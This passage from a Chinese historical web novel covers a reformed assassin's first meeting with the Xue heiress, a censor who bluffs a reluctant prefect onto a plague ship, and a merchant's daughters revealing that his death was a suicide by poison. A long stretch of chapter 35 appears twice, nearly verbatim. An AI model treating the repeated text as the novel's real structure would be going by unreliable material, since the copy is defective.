就在这时,几声惊呼在他身后不远处响起。他站的地方地势较高,回头望去,便见那匹拉着薛家马车的棕色骏马正撒足狂奔,拽得后头的车辕嘎吱作响,车厢剧烈震颤,几欲散架。一截缰绳在地上拖着,与马蹄一同扬起地面上的积尘。 “停下来,停下!”原先坐在前室悠闲赶车的车夫,不知何时下了车,此刻正连滚带爬地跟在后头呐喊,可惜力有不逮,被棕马甩出一程。 若薛家大姑娘此时出了事,惊动整个薛宅,恐怕会影响主人的计划。 他当机立断,飞身上前,一把拽住那棕马的辔头。那马十分高大,惊痛之下扬蹄便向他踏来。他松开辔头,后仰避过马蹄的瞬间,从地上拾起缰绳搭在肩头,手中使出十分力气,终于在站定时拉住了惊马。 车夫终于赶上前来,自他手中接过缰绳,忙不迭地道谢。他重新戴好因动作而歪斜的斗笠,正欲不发一言地离去,忽然被人叫住:“壮士留步!” 他抬起眼,却见一位黄衣少女从马车前室那里俏生生地立起,低眉垂目,笑吟吟地看着自己。金丝发带自她双鬟上垂下,被薄汗粘在玉一般的脖颈上。十七岁的薛大姑娘未施脂粉,却清丽鲜妍,像一朵从露水中绽开的女贞花。 她身后,一个稍年长些的女子钻出车厢,惊魂未定地拉住她打量:“好姑娘,你没事罢?可吓死阿柚了。你做什么不好,非要顽皮去驾车!要出了什么好歹,老爷、夫人非打死我不可了!” 车夫冷汗涔涔,赔笑着站在一旁。 这位大姑娘因命格奇特,在外修行多年,直到去岁才回到家中。父母兄长自觉亏欠,对她如珠似宝地娇宠;加上她极爱说笑,颇有些急公好义的心肠,即使对微末下人也从不摆架子,所以阖府上下对她又爱又敬,凡事无有不依的。方才在山道上,薛大姑娘见四下无人,一时技痒,非央求着车夫让自己驾驭一段。谁知中途颠簸,缰绳从她手中脱落,马又被树枝惊扰,这才有了险情。 薛扫眉从那名唤“阿柚”的侍女手中抽出自己的袖子,满不在乎地道:“又啰嗦!你不说,我不说,赶车的大叔不说,谁会知道今天出了什么事?” 她又看向他,眼睛亮晶晶的:“好俊的身手,多亏您啦!敢问壮士,尊姓大名?小女子好给恩人立一块长生牌位。” 他是主人收养的杀手,没有姓氏,也没有正经的名字,只有个编号,帮众平日里都喊他“十七”。“尊姓大名”,那管好听的嗓子能轻易说出的这四个字、贩夫走卒都有的东西,他从来不曾拥有。 他今日虽然戴了斗笠、面上也留了须,非仔细看不出本来面目,但也算是在薛大姑娘面前露了脸。为免惹人疑窦,生出更多枝节,还是得尽快离开这里。思及此处,他定下心神,指指嘴,又摆摆手,示意自己口不能言,转身就要走。 “恩人等等!你的手怎么啦?”薛大姑娘眼尖地瞥见他掌中的血红痕迹,立刻蹙紧眉头,往前疾走一小步,“转过来让我看看——是方才受的伤罢?”若不是阿柚在后头拉着,她简直要立时从马车上跳下来了。 他本该继续装聋作哑,一走了之的。这样才对。 但她又紧跟着问了一句。 “你疼不疼?” 34. 第三十四章 【激将】 好像从来没有人问过他这个问题。神使鬼差地,他转过身,迎上少女关切的眼神,但不知该怎么回答。 却见她懊恼地“喔”了一声,似乎想起了什么一般,从荷包中倒出所有碎银,让车夫转递到他手上。 “恩人既不方便告知姓名,就请先收下这微末的一点银子,把伤看好罢。如果有什么需要,请随时造访城东薛宅,就说是小东家的朋友即可,他们会认得你的。” 她站在马车上,明明是居高临下地看过来,眼里却只有和煦,唇角弯弯。 那是她最后一次真心地对他笑,那时他们还彼此陌生。 春天每一年都会回来,可那个如春天般充满生命力的少女,已经被他亲手毁掉,再也回不来了。 他也回不去了。 “大姑娘,外头冷,先进车厢里去罢。”薛兼返身过来,却见薛扫眉露出警惕神色,下意识地后退了一步。 她对他的提防,从来不加掩饰。 薛兼按捺住心下酸涩,不再上前,沉声吩咐阿橘将薛大姑娘扶回车厢。 前面人潮一时半会散不开,他当机立断,下令让马车掉头,换条小路绕行。一行人待要启程,忽然车厢的窗帘又被人从里边掀起,透出炭火和熏香的气息,还有薛大姑娘疲惫但镇定的声音: “薛管事,你到前头去,就说今日未时之前,济和堂总号免费分发甘草饮,让那些围观者先散去。前面躺倒那人,如还能救,就近送到医馆去;若没得救了,给他家人一些银钱,问清楚他前段时间是否去过南屿,或与那里来的人有所接触。办完这些,你立刻去码头找陆御史,将情况告诉他。” 薛兼隐约意识到了事态的严重性,再无二话,领命前去。 阿橘倒还懵懵懂懂的,心有余悸地问:“大姑娘,方才那人……好像林掌柜死前的样子。他也会像林掌柜一样死掉吗?可人家都说,林掌柜是被自家娘子毒死的呀。” 郑娘子婆母在府衙门口击鼓鸣冤的事情,短短两日之间,已人尽皆知,连阿橘都听闻了。 薛扫眉阖上双目:“死生有命,且看他……看我们的造化罢。” 阿橘提到“林掌柜的自家娘子”,倒是提醒了她。陆缥说过,薛兼昨天下午带着林家小女儿,特意去牢狱中“探望”了郑娘子。薛兼不在身边时,她自可便宜行事,但府衙人多事忙,乘着这排场甚大的马车过去,恐怕过于显眼了——不如先去另一个地方。 薛扫眉打定主意,低声嘱咐阿橘去前室,向车夫传达新的目的地。 车轮缓慢启动起来。薛兼忙着疏散人群,匆忙一瞥之下,见马车往他规划的方向行驶,便不疑有他。 可他不明白,看似一样的选择,也可以有许多不同的归宿。 唯一确定的是,无论她去往哪里,他们彼此,正在渐行渐远。 *** 日已中天,济和堂的伙计在未时到来之前,送出今日最后一包甘草饮。他午饭都没顾得上吃,此刻额上已蒸出一层热汗,也不及抹去。药铺已好久没有这许多客人出入了,伙计想起孙掌柜早上行色匆匆往仓库去的样子,又看着面前被一扫而光的药匣,心中泛起嘀咕。 一条街外,同样密集且带着体温的液滴,在老者面庞上纵横交错地滴落下来,织成一张悲伤的网。唯一的儿子忽然面目青紫地暴毙,被街坊拉来认尸的老者此刻万念俱灰,耳中蜂鸣,已辨不清旁人问话声音,更听不见乌云翻滚蔽日的闷响。 风云变色。数里之外的码头,率先滴下苍天之泪。 人间悲欢,各有不同。面对说来就来的诡异雨幕,背手端坐在陆缥对面之人用尽全力,才勉强隐藏住眼中的喜悦之色。 “缈之,你看,下雨了!”陈相如慷慨陈词,差点破音。见陆缥无动于衷,他压低声音道,“不是我不愿意去,实在是天公不作美,不适合出海啊!你总不能让我——堂堂一府父母官,白白去送死罢?” 他本在薮春别院中午憩,谁料陆御史神勇无匹,竟单枪匹马杀到那里,将稀里糊涂的陈知府双手反绑,掷到马上,就此提了过来。午饭时饮下的两盅米酒,还未来得及化入陈知府愁肠,此刻频频上涌,反灌得他满口酸水。 陆缥单手提着陈知府后领。他因此展露出来的、数个时辰前已被薛大姑娘攥皱的绯色袖管,此时更被雨丝画出几缕湿痕。 “陈大人言重了。不过斜风细雨,风向都没变,不影响你去南屿。”陆缥手指发力,生生将陈相如在半空中转了个方向,强迫他去看那纹丝未动的相风乌。 “缈之,缈之!”被襕袍的圆领卡住脖子,陈相如呼吸不畅,赶紧求饶,“先放我下来罢!这样多难看……” 他在碧霄府为官多年,还从来没被人桎梏若此。一张老脸,红红白白,犹如开了颜料铺子。 陆缥松开陈相如,冷笑道:“陈大人放心,我已经让其他人都走出十步,背对着我们。你现在如何狼狈,也不会有人看见。但若你仍冥顽不灵,不肯上船,那我只能辛苦一下,将你拎上去了。” “何苦来哉?”陈相如真是怕了他了,“缈之……哦不不,是钦差大人,您就放过我罢?我又不通医术,现在去南屿能做什么?我知你到任以来,就看我不顺眼,但我再怎么样,也罪不至死罢!”他说到这里,又气又委屈,竟然如孩童一般流下泪来。 奈何陆缥铁石心肠,软硬不吃:“收起你的眼泪,到南屿再流。如此,还能替你自己挣个仁善爱民的好官声。” “陆缥!你今日要是敢绑我上船,我、我必上书参你!” “知府大人,想参我什么?”陆御史饶有兴致地问。 “你,你你你沉迷女色,你收受贿赂,滥杀滥刑!”陈知府气急败坏。 陆缥嗤笑一声,摇头道:“知府大人说错了,哪里是我到任以来,看你不顺眼,分明是你看我不顺眼呀!将这种种罪名,一一搜罗起来,还真难为你了。不过,依我看,恐怕还漏了一桩最要紧的——” 他不知何时从袖中摸出铁雪扇,迎风一展,露出满手尖锐刀芒,离陈相如的咽喉不过寸许之距,“那便是督办不严。陈知府,南屿疫情如火,你却临阵退缩。我身为钦差,不及时斩杀逃兵,恐怕官家将来要怪我渎职了。” 这阎王,已对他起了杀心。陈相如寒毛直竖,瞬间软了膝盖。 陆缥立时伸手,止住他跪倒之势,正色道:“陈知府,我没有多少时间与你罗唣。我今日本不想将你请来,但薛家船队出发之后,我连夜从转运司借来的官船却迟迟不肯开动,一直僵持到现在。他们说,这是碧霄府的事情,没道理知府连面都不露,反让他们先去送死。” 本朝每道均设转运使司,掌管包括管理官船在内的漕运事务。该司下辖的官吏乃至船工,都从工部领取禄米,不隶属于地方。船工们未见地方主官坐镇,以为自己要被推出去作炮灰,由此拒不开船,亦在情理之中。 陆缥叹了口气。他分明是更加年轻的那位,却被迫让自己显得语重心长: “我觉得他们说得有道理。你在知府位子上一坐就是十年,就算庸碌,好歹也算是一 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“你说我年轻,不曾经历大疫。但我在军中面对白狄人时,也算得上九死一生。最惨烈的一次,情报有误,我带着十余人的斥候分队,迎面撞上白狄左贤王帐下五百精兵,只有我和杨……另一个兄弟活了下来。休养半年之后,我这筋脉受损的右手,才能再握住刀。 “还有你看着长大的薛大姑娘。按照你的说法,全家死绝之后,她是不是也应就此龟缩度日?可今日早上,她就在这里,把薛家船队和整整十船物资交给了我。她对张正科说,‘愿倾全家之力,协助大人平息此次瘟疫。’ “陈大人,我和薛大姑娘未必比你勇敢。我们只是知道,死去的人确有冤仇,而我们既然活着,就该担当起责任。否则,到时在黄泉之下,有何脸面与他们相见呢?” 陆缥将铁雪扇收入袖中,拍拍陈相如的肩,“陆某言尽于此。是自己走着上船,还是被拎上去,由陈大人自己抉择。我去和转运使司的人再打声招呼,你还有一炷香的时间可以思考。” 陆缥脚程极快,转瞬已走出数步,眼看着就要超出陈相如目之所及,迫得他大喊。 “等一下!” 陈知府急得跳脚,陆御史回头却慢吞吞:“什么事?” 陈相如也不知道自己怎么了。他长久浸润于富贵之中,早已养成不求功过的闲散脾性。但也许是因为陆缥方才蛊惑人心的一席话,又或许是缘于亡妻那双含着血泪的眼睛,他被庸碌塞满的陈腐脑袋里,忽然冲进一股新鲜的热血。 趁着久违的胆气还未退散,陈知府转过身,闭上眼:“走上船的话,是不是得先松绑?” *** 未时中,风雨既歇。装载着新一批物资和陈知府的官船队伍,顺利起航。 陆缥站在码头,向船队挥袖致意。待舰船驶出港口,他便落下那只修长无瑕的右手,随意环抱在胸前。 筋脉受损?不存在的。想要采信于人,论据自然是编得越具体越好。 站在陆缥身侧的转运副使,在碧霄府已居住数年,深知陈相如的为人,此刻不由得对陆缥钦佩不已:“陆御史竟将陈知府从温柔乡中挖了出来,还让他心甘情愿赶赴前线,这是如何做到的?” 陆御史莞尔一笑。转运副使身在局外,不必知道:船队人手不足所致的片刻贻误,竟会被他用作激将陈相如的借口。 官船船工因未见知府而不肯开船?当然,也是不存在的。反正都迟了,不若将尸位素餐的陈知府拿来,做一些力所能及的事情,也减轻陆缥自己的压力。 兵者,诡道也。他虽已解下战袍,但往昔所学所悟,亦可用于新的战场。 身后忽有异动。陆缥敏锐回头,与意料之外的来客四目相接。 35. 第三十五章 【内情】 来人近前勒马,竟是薛兼。 陆缥有些意外:“薛管事,为何去而复返?”难道薛大姑娘出了什么事? 他还未来得及担心,薛兼已自马上跃下,仓促行礼。陆缥见他虽风尘仆仆,脸上却不见焦灼之色,心知薛扫眉应当安然无恙,暂且放下心来。 可薛兼接下来的一番话,又让他大皱其眉。 薛兼按照吩咐,将路遇病患的事情和薛扫眉的安排仔细说了,着重强调:“我们找了医士过来,可惜此人已不治。其父寻来之后,说他是于六日前从南屿回到碧霄府,两三日前便已出现呕吐、泄泻症状,今日不知怎的,竟趁着老父出门、无人看顾,自己跑上街头,这才横死当场。” 陆缥追问:“医士作何诊断?” “说像是常见的肠胃伤风之症,只是在此人身上发作得格外严重些,这才致命。医士到时,人已经死了,摸不到脉搏,给不出更具体的诊断。” 陆缥虽不懂医,但也记得王俭带来的南屿病案记载:患者上吐下利,脉象由濡缓发展为细数无力,最终因正气亏虚而亡。薛兼所说那人的症状,看起来与此类似,但无法据此推理出其一定罹患同样的疾病。 但是,如果同样从南屿归来的林掌柜,与此人的症状也相同——那么南屿疫情已传播到碧霄府城内的可能性,便将大大提升。 陆缥心念一动,转而问薛兼:“那日林掌柜死在薛宅后门时,薛管事你在现场否?”在获得薛兼的肯定答复后,他继续问:“依薛管事看,林掌柜的死状,与今日死者,可有相似?” “大人是说……”薛兼听懂了陆缥的意思,表情逐渐凝重起来。林掌柜暴毙于三日前,死状凄惨,让他印象深刻。仔细想来,今日路遇之人猝死时的脸色和状态,确实和林掌柜当时极为相似。 薛兼此刻神情肃穆,不单是因为回想起死者惨状,更是因为终于领会到薛扫眉对南屿疫情上心的原因。若林掌柜为参加东家的宴会,将瘟疫从南屿带回了碧霄府,那薛家势必成为众矢之的。如此,对于主人和她,都是百害而无一利。 而他,不可能允许这样的事情发生。薛兼将情绪收起,冷硬作答:“草民不记得了。” 陆缥审视的目光在薛兼面上停留须臾,很快撤去。虽才几面之交,他已看出此人心性坚忍,不像葛三那样容易撬开嘴。眼下情况紧急,将时间花在结果未料的周旋之上,并不合算,倒不如另寻门路。 陆缥主意已定,问清今日路旁死者姓名、家门之后,派人去将尸体运送至府衙检验,回头便对薛兼下了逐客令。 薛兼没想到陆缥竟如此轻易地放过了自己,连声追问也无,松懈之余,颇感意外。但他来不及细想,便被“林掌柜可能将疫情带到了碧霄府”的猜测全然占据了心绪,于是匆忙告退,预备回去同薛扫眉共同商议处置。 陆缥看着薛兼走远,立刻遣人去唤银灯楼二掌柜曹娘子到府衙问话。 他清楚地记得,那夜去银灯楼时,赵掌柜为了亲自接待他,委派其妻曹娘子代为赴薛家的宴请。如此一来,林掌柜去世的时候,她也在现场。 在薛扫眉和赵掌柜叙说的故事里,曹娘子已算是死过一次的人;她还曾为薛扫眉,奔赴过尸横遍野的命案现场,是个具有义胆忠心的女子——今日事急从权,委屈曹娘子再多看一具死尸,好与林掌柜当时死状做个比对,想来她应当不会拒绝。 惯会察言观色的胥吏已牵来骏马。陆缥抿紧嘴唇,翻身上马,掉头向府衙方向行进。 他速度极快。不过须臾时间,一人一马,已缩为胥吏视野中的一个黑点。 此刻本应是一天之中日头最盛之时,但冬日的阳光,毕竟温度有限。冷冽的空气席卷成风,笞在留守原地的胥吏身上,使他不由得打了个寒战。 而他身后高处,原本安分不动的相风乌,忽然沉默着改变了指向。 *** 薛兼赶回薛宅,却扑了个空。 “大姑娘还未回来?”他询问门房,声音中已经带了怒意。 她明明比他更早知道此间可能已有疫情,却在多事之秋,任性乱跑。真是不想要命了么? 薛兼惊怒交加之际,他心心念念之人,正在慈幼院的厅堂内与小姑娘交涉。 慈幼院设在碧霄府城西,由薛家出资,收留城中无处可去的老弱妇孺,权作慈善。弘文二十二年夏天之后,这里由在灭门案中去世的薛家门房江贵福之女江兰兰管理,规模逐渐扩大至之前的数倍。 林掌柜与郑娘子的两个女儿,昨日下午被薛兼送到了这里,眼下双双跪在薛扫眉面前,任凭旁人搀扶劝告,也不肯起。 薛扫眉待要开口,外间忽然传来一阵噪音。原来是慈幼院的管事江兰兰,看薛家马车停在门口,便借机发作,高声怒骂薛扫眉“扫帚星好大的排场”,甚至上前作势要扯烂马车上的帷帐。 当年薛家灭门案,致使江兰兰一夜之间失去了父亲。而薛扫眉是宅门内唯一幸存之人,又是薛家的小东家,自然成为了她迁怒的对象。纵使薛大姑娘心存歉意、对江兰兰百般迁就,让她随心掌管慈幼院这只出不进的所在,也没能完全疏散她的怨气。江兰兰本身便是顶顶泼辣的性格,生的那张利嘴,但凡遇见了薛扫眉,吐不出一句好话。 阿橘自然也知晓此事,并且为之不忿——当年她的亲姊阿柚,也被同一伙歹人杀害,可她就不会像江兰兰一样,无端对大姑娘发难。说到底,大姑娘也是凶案的受害者,只是侥幸活了下来而已。再者说来,江兰兰端着薛宅的碗,却还对大姑娘如此不敬,真是匪夷所思。 阿橘心中已有这样的计较,便自然而然地将眉毛倒竖,愤愤然道:“我去同她说理!” 薛扫眉任由阿橘去到外头,这才走到两个孩子面前,亲自将她们搀扶起来。 “现在只有我们三人。可以对我说些实话么?”她将目光投在林家小丫头面上,确保对方能够看清自己眼中的和善。 陆缥上午说过,薛兼昨日“是用钱财买通牢头,带着郑娘子的小女儿一起进去的”。想必林家小丫头知道的内情会更多些。 她既这么问,两个孩子当然无有不应,忙不迭点了头。 “你们阿爹,是哪一日从南屿回来的?又是哪一日开始生病的?” 小丫头见阿姊垂泪不语,便先开口:“管事阿叔也问过我一样的问题,他没有告诉您么?”她虽抽泣不止,但黑葡萄一样的大眼珠不时偷睨过来,似在试探。 这幅样子,倒是与薛扫眉记忆中初见时她狡黠活泼的形象,逐渐重合起来。 薛扫眉握住小丫头的手:“我两年前去过你家,你阿娘给我做过饭……你当时还为我唱了一首采茶曲。你可还记得么?” 小丫头显然对她还有印象,立刻道:“我记得大姑娘。阿娘说过,大姑娘是聪明的好人。” “我和你说的‘管事阿叔’,不是一路人。我绝不会胁迫你们、还有你们的母亲,说不愿意说的话。”薛扫眉低声道,“我在这里不能待太久,要想救你阿娘,需将你知道的,全部告诉我。” 小丫头犹豫了一下,收起眼泪,也学着薛大姑娘一般,压低声说:“十月十五日是我的生辰,阿爹是那天回来的。他死之前的两三日,在外面喝了场酒,回家吐了一地,后面身子就不好了。” 薛扫眉快速计算了一下。根据张扁鹊的说法,南屿的疫情开始于十日之前,那便是在十月下旬;可林掌柜回到碧霄府的时间,远早于此。既然林掌柜离开南屿时,那里还无人发病,他又是从何处染上的疫病? 薛扫眉兀自纠结,一直没说话的林家大丫头忽然抬起头:“大姑娘,我阿爹……是自杀的。” 她按住妹妹的手,咬着牙将事情说明。 原来林掌柜中年无子,依母命纳了远方表妹作为小妾。那妾室吴小娘入门数月,便结珠胎,听把脉的医士说,应是怀了个男孩。从此,吴小娘一发不可收拾,不仅在家中作势拿乔,还挑唆林掌柜休妻,将阖家搅得鸡犬不宁。林掌柜与郑娘子少时结发,这么多年来,感情甚佳,不忍照办;但吴小娘仗着婆母宠爱和腹中男胎,成日哭闹,不依不饶。 “阿娘实在没有办法,便和阿爹说要自请下堂,带着我们回南屿娘家。阿爹心中烦闷,这才去喝酒的;谁知道回来之后,吐泻一地,那吴氏去找大母告状,说阿娘无德,连丈夫都照顾不好。阿娘委屈极了,连夜收拾包袱就要走,阿爹拖着病体守在门口,这才没走成。 “就这么僵持了两日。我亲耳听见阿爹数次同大母说,若再逼阿娘走,他便也不活了。 “那日东家家里设宴,阿爹精神好了一些,雇了驴车出门。没走出多久,他应是想起还没喝下阿娘辛苦熬好的药,便又折返回家,却恰好碰见大母和吴氏虐打我们姊妹,逼阿娘写和离书。” 林家大丫头撩起袖子,小臂上果然红痕交错。那是被人抽打的痕迹。她擦擦眼睛,接着说, “我头一次见阿爹发那么大火。他将吴氏推在地上,那贱人当场就见了红。大母哭着打阿爹,阿爹说‘如此腌臜之家,我再也不想回了’,然后从袖中掏出一包粉末,直接吞下。谁也没拦住,他直接摔门走掉了……果真,再也没有回来。 “大母恨我们,更恨阿娘,她想我们都给阿爹陪葬!她让当官的抓走了阿娘,还把我和妹妹关在柴房之中,准备卖给人牙子,好换银子去给贱人安胎。要是管事阿叔没来,我们……我们恐怕……” 见阿姊的眼泪越擦越多,林家小丫头松开薛扫眉的手,跪了下去。 “阿爹气愤之下服了毒药,应当是不想家仇外扬,才强撑着去宴席上露了个脸……他没料到,那毒发作得太快,给东家带去了麻烦。可是,我阿娘毕竟是无辜的呀!大姑娘,我姊妹两个,愿终身做您的奴婢,只求您救救我阿娘!” 姊妹俩自仇恨中抬头,带着希冀,望向薛扫眉。 稚嫩的两张面孔上,流淌着薛扫眉已许久不曾尝过滋味的眼泪,勾勒出她再熟悉不过的恨意。 只是她没料到,林掌柜之死背后,竟还有如此复杂的内情。 外间的喧闹逐渐平息,薛扫眉依稀能听见有脚步声靠近。 “放心,在过年之前,你们的阿娘性命无忧;后面的事情,我会想办法。”她示意姊妹俩抹去眼泪,接着特意提高声音,“你们在这里安心住下,就当……”她本想说“就当在自己家”,可想到她们的来处,又觉得不妥,便临时改换了说法,“就当兰兰是你们亲阿姊。” 发出脚步声的人出现在门口。是阿橘,且只有阿橘。 迎着薛扫眉探询的目光,阿橘撇了撇嘴:“我和江管事理论了一番,她怒气冲冲,出门去了。” “可说什么没有?” “嗯……” “但说无妨。” “她说,不想看见大姑娘,请您早点离开,她才好回来。” 这话也不新鲜。薛扫眉不以为忤,从善如流:“时候不早,我们确实也该回去了。”她转向林家姊妹,和善道,“你们记得和兰兰阿姊说,这几日不太平,慈幼院应当尽量减少出入。若有什么需要,只管到薛宅来找我。” 这话里的暗示不难听懂。林家姊妹千恩万谢地应了。 *** 薛家马车在回程中,与面冷如铁的薛兼撞了个正着。 他问过车夫,知道薛扫眉是去慈幼院,而非在外行走,这才勉强按捺下火气,如往常一般静默地随侍在旁。 但薛兼心底并不宁静。林家姊妹眼下就在慈幼院,而他曾当着林家小丫头的面,威胁过她母亲……不知她对薛扫眉透露了多少。回宅之后,需得好好问过阿橘才是。 他并没料到,阿橘对林家姊妹和薛扫眉说了什么,竟然一无所知。 就像陆缥也不曾料想,曹娘子在府衙尸房中,见过横死路边那人的尸体后,竟会这样说—— “我认识他。” 来人近前勒马,竟是薛兼。 陆缥有些意外:“薛管事,为何去而复返?”难道薛大姑娘出了什么事? 他还未来得及担心,薛兼已自马上跃下,仓促行礼。陆缥见他虽风尘仆仆,脸上却不见焦灼之色,心知薛扫眉应当安然无恙,暂且放下心来。 可薛兼接下来的一番话,又让他大皱其眉。 薛兼按照吩咐,将路遇病患的事情和薛扫眉的安排仔细说了,着重强调:“我们找了医士过来,可惜此人已不治。其父寻来之后,说他是于六日前从南屿回到碧霄府,两三日前便已出现呕吐、泄泻症状,今日不知怎的,竟趁着老父出门、无人看顾,自己跑上街头,这才横死当场。” 陆缥追问:“医士作何诊断?” “说像是常见的肠胃伤风之症,只是在此人身上发作得格外严重些,这才致命。医士到时,人已经死了,摸不到脉搏,给不出更具体的诊断。” 陆缥虽不懂医,但也记得王俭带来的南屿病案记载:患者上吐下利,脉象由濡缓发展为细数无力,最终因正气亏虚而亡。薛兼所说那人的症状,看起来与此类似,但无法据此推理出其一定罹患同样的疾病。 但是,如果同样从南屿归来的林掌柜,与此人的症状也相同——那么南屿疫情已传播到碧霄府城内的可能性,便将大大提升。 陆缥心念一动,转而问薛兼:“那日林掌柜死在薛宅后门时,薛管事你在现场否?”在获得薛兼的肯定答复后,他继续问:“依薛管事看,林掌柜的死状,与今日死者,可有相似?” “大人是说……”薛兼听懂了陆缥的意思,表情逐渐凝重起来。林掌柜暴毙于三日前,死状凄惨,让他印象深刻。仔细想来,今日路遇之人猝死时的脸色和状态,确实和林掌柜当时极为相似。 薛兼此刻神情肃穆,不单是因为回想起死者惨状,更是因为终于领会到薛扫眉对南屿疫情上心的原因。若林掌柜为参加东家的宴会,将瘟疫从南屿带回了碧霄府,那薛家势必成为众矢之的。如此,对于主人和她,都是百害而无一利。 而他,不可能允许这样的事情发生。薛兼将情绪收起,冷硬作答:“草民不记得了。” 陆缥审视的目光在薛兼面上停留须臾,很快撤去。虽才几面之交,他已看出此人心性坚忍,不像葛三那样容易撬开嘴。眼下情况紧急,将时间花在结果未料的周旋之上,并不合算,倒不如另寻门路。 陆缥主意已定,问清今日路旁死者姓名、家门之后,派人去将尸体运送至府衙检验,回头便对薛兼下了逐客令。 薛兼没想到陆缥竟如此轻易地放过了自己,连声追问也无,松懈之余,颇感意外。但他来不及细想,便被“林掌柜可能将疫情带到了碧霄府”的猜测全然占据了心绪,于是匆忙告退,预备回去同薛扫眉共同商议处置。 陆缥看着薛兼走远,立刻遣人去唤银灯楼二掌柜曹娘子到府衙问话。 他清楚地记得,那夜去银灯楼时,赵掌柜为了亲自接待他,委派其妻曹娘子代为赴薛家的宴请。如此一来,林掌柜去世的时候,她也在现场。 在薛扫眉和赵掌柜叙说的故事里,曹娘子已算是死过一次的人;她还曾为薛扫眉,奔赴过尸横遍野的命案现场,是个具有义胆忠心的女子——今日事急从权,委屈曹娘子再多看一具死尸,好与林掌柜当时死状做个比对,想来她应当不会拒绝。 惯会察言观色的胥吏已牵来骏马。陆缥抿紧嘴唇,翻身上马,掉头向府衙方向行进。 他速度极快。不过须臾时间,一人一马,已缩为胥吏视野中的一个黑点。 此刻本应是一天之中日头最盛之时,但冬日的阳光,毕竟温度有限。冷冽的空气席卷成风,笞在留守原地的胥吏身上,使他不由得打了个寒战。 而他身后高处,原本安分不动的相风乌,忽然沉默着改变了指向。 *** 薛兼赶回薛宅,却扑了个空。 “ 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当年薛家灭门案,致使江兰兰一夜之间失去了父亲。而薛扫眉是宅门内唯一幸存之人,又是薛家的小东家,自然成为了她迁怒的对象。纵使薛大姑娘心存歉意、对江兰兰百般迁就,让她随心掌管慈幼院这只出不进的所在,也没能完全疏散她的怨气。江兰兰本身便是顶顶泼辣的性格,生的那张利嘴,但凡遇见了薛扫眉,吐不出一句好话。 阿橘自然也知晓此事,并且为之不忿——当年她的亲姊阿柚,也被同一伙歹人杀害,可她就不会像江兰兰一样,无端对大姑娘发难。说到底,大姑娘也是凶案的受害者,只是侥幸活了下来而已。再者说来,江兰兰端着薛宅的碗,却还对大姑娘如此不敬,真是匪夷所思。 阿橘心中已有这样的计较,便自然而然地将眉毛倒竖,愤愤然道:“我去同她说理!” 薛扫眉任由阿橘去到外头,这才走到两个孩子面前,亲自将她们搀扶起来。 “现在只有我们三人。可以对我说些实话么?”她将目光投在林家小丫头面上,确保对方能够看清自己眼中的和善。 陆缥上午说过,薛兼昨日“是用钱财买通牢头,带着郑娘子的小女儿一起进去的”。想必林家小丫头知道的内情会更多些。 她既这么问,两个孩子当然无有不应,忙不迭点了头。 “你们阿爹,是哪一日从南屿回来的?又是哪一日开始生病的?” 小丫头见阿姊垂泪不语,便先开口:“管事阿叔也问过我一样的问题,他没有告诉您么?”她虽抽泣不止,但黑葡萄一样的大眼珠不时偷睨过来,似在试探。 这幅样子,倒是与薛扫眉记忆中初见时她狡黠活泼的形象,逐渐重合起来。 薛扫眉握住小丫头的手:“我两年前去过你家,你阿娘给我做过饭……你当时还为我唱了一首采茶曲。你可还记得么?” 小丫头显然对她还有印象,立刻道:“我记得大姑娘。阿娘说过,大姑娘是聪明的好人。” “我和你说的‘管事阿叔’,不是一路人。我绝不会胁迫你们、还有你们的母亲,说不愿意说的话。”薛扫眉低声道,“我在这里不能待太久,要想救你阿娘,需将你知道的,全部告诉我。” 小丫头犹豫了一下,收起眼泪,也学着薛大姑娘一般,压低声说:“十月十五日是我的生辰,阿爹是那天回来的。他死之前的两三日,在外面喝了场酒,回家吐了一地,后面身子就不好了。” 薛扫眉快速计算了一下。根据张扁鹊的说法,南屿的疫情开始于十日之前,那便是在十月下旬;可林掌柜回到碧霄府的时间,远早于此。既然林掌柜离开南屿时,那里还无人发病,他又是从何处染上的疫病? 薛扫眉兀自纠结,一直没说话的林家大丫头忽然抬起头:“大姑娘,我阿爹……是自杀的。” 她按住妹妹的手,咬着牙将事情说明。 原来林掌柜中年无子,依母命纳了远方表妹作为小妾。那妾室吴小娘入门数月,便结珠胎,听把脉的医士说,应是怀了个男孩。从此,吴小娘一发不可收拾,不仅在家中作势拿乔,还挑唆林掌柜休妻,将阖家搅得鸡犬不宁。林掌柜与郑娘子少时结发,这么多年来,感情甚佳,不忍照办;但吴小娘仗着婆母宠爱和腹中男胎,成日哭闹,不依不饶。 “阿娘实在没有办法,便和阿爹说要自请下堂,带着我们回南屿娘家。阿爹心中烦闷,这才去喝酒的;谁知道回来之后,吐泻一地,那吴氏去找大母告状,说阿娘无德,连丈夫都照顾不好。阿娘委屈极了,连夜收拾包袱就要走,阿爹拖着病体守在门口,这才没走成。 “就这么僵持了两日。我亲耳听见阿爹数次同大母说,若再逼阿娘走,他便也不活了。 “那日东家家里设宴,阿爹精神好了一些,雇了驴车出门。没走出多久,他应是想起还没喝下阿娘辛苦熬好的药,便又折返回家,却恰好碰见大母和吴氏虐打我们姊妹,逼阿娘写和离书。” 林家大丫头撩起袖子,小臂上果然红痕交错。那是被人抽打的痕迹。她擦擦眼睛,接着说, “我头一次见阿爹发那么大火。他将吴氏推在地上,那贱人当场就见了红。大母哭着打阿爹,阿爹说‘如此腌臜之家,我再也不想回了’,然后从袖中掏出一包粉末,直接吞下。谁也没拦住,他直接摔门走掉了……果真,再也没有回来。 “大母恨我们,更恨阿娘,她想我们都给阿爹陪葬!她让当官的抓走了阿娘,还把我和妹妹关在柴房之中,准备卖给人牙子,好换银子去给贱人安胎。要是管事阿叔没来,我们……我们恐怕……” 见阿姊的眼泪越擦越多,林家小丫头松开薛扫眉的手,跪了下去。 “阿爹气愤之下服了毒药,应当是不想家仇外扬,才强撑着去宴席上露了个脸……他没料到,那毒发作得太快,给东家带去了麻烦。可是,我阿娘毕竟是无辜的呀!大姑娘,我姊妹两个,愿终身做您的奴婢,只求您救救我阿娘!” 姊妹俩自仇恨中抬头,带着希冀,望向薛扫眉。 稚嫩的两张面孔上,流淌着薛扫眉已许久不曾尝过滋味的眼泪,勾勒出她再熟悉不过的恨意。 只是她没料到,林掌柜之死背后,竟还有如此复杂的内情。 外间的喧闹逐渐平息,薛扫眉依稀能听见有脚步声靠近。 “放心,在过年之前,你们的阿娘性命无忧;后面的事情,我会想办法。”她示意姊妹俩抹去眼泪,接着特意提高声音,“你们在这里安心住下,就当……”她本想说“就当在自己家”,可想到她们的来处,又觉得不妥,便临时改换了说法,“就当兰兰是你们亲阿姊。” 